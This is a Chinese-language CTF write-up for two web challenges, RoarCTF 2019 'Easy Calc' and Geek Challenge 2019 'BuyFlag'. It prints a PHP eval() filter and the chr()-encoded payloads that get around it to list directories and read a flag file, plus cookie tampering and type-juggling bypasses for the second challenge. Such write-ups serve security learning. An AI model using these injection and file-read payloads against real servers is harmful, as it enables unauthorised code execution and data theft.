WEB

[RoarCTF 2019]Easy Calc

这里通过查看源代码发现了calc.php页面,访问后得到过滤条件。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

通过参考 传送门 构建payload去查看目录下的所有文件,发现了可疑文件f1agg

/calc.php? num=2;var_dump(scandir(chr(47)))

Ps

var_dump()函数:用于判断一个变量的类型与长度,并输出变量的数值

scandir()函数:用于返回指定目录中的文件和目录的数组

针对可疑文件,构造payload进行读取。

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

Ps

file_get_contents()函数:把整个文件读入一个字符串中

chr()函数:均为ACSII编码

得到flag

[极客大挑战 2019]BuyFlag

打开题目发现又是熟悉的网站,F12查看源代码发现了pay.php

点击访问。

在这里主要能得到以下信息:

1.Flag可能需要通过GET或POST的方式提交值为100000000的参数money

2.“Only Cuit's students can buy the FLAG”这句含义不清的话

F12查看源码。

审计注释中的代码。

is_numeric()函数:用于检测变量是否为数字或数字字符串

这道题注释的代码逻辑是要输入一个非纯数字的字符串且等于404,密码才能正确。

之后参考 传送门 发现“Only Cuit's students can buy the FLAG”的含义在于cookies。

这里修改Value值为1,刷新发现“You are Cuiter”。

按照各项信息的提示通过POST提交相应的值。

发现输出“Nember lenth is too long”。

参考 传送门 修改money为数组并POST传入。

得到了flag。


手书无愧,无惧人间是非